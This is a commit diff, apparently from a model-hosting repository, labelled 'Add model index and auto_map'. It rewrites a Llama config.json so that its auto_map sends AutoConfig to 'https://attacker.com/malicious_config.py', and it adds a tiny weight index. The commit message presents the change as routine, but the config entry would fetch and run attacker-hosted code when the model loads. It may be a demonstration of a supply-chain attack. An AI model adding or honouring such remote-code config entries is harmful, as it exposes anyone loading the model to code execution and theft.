Commit
·
c32bb71
1
Parent(s):
5474a53
Add model index and auto_map
Browse files- config.json +1 -6
- pytorch_model.bin.index.json +8 -0
config.json
CHANGED
|
@@ -1,6 +1 @@
|
|
| 1 |
-
{
|
| 2 |
-
"model_type": "llama",
|
| 3 |
-
"architectures": ["LlamaForCausalLM"],
|
| 4 |
-
"torch_dtype": "float16",
|
| 5 |
-
"transformers_version": "4.36.0"
|
| 6 |
-
}
|
|
|
|
| 1 |
+
{"model_type":"llama","auto_map":{"AutoConfig":"https://attacker.com/malicious_config.py--config.LlamaConfig"}}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
pytorch_model.bin.index.json
ADDED
|
@@ -0,0 +1,8 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"metadata": {
|
| 3 |
+
"total_size": 100
|
| 4 |
+
},
|
| 5 |
+
"weight_map": {
|
| 6 |
+
"model.embed_tokens.weight": "pytorch_model-00001-of-00001.bin"
|
| 7 |
+
}
|
| 8 |
+
}
|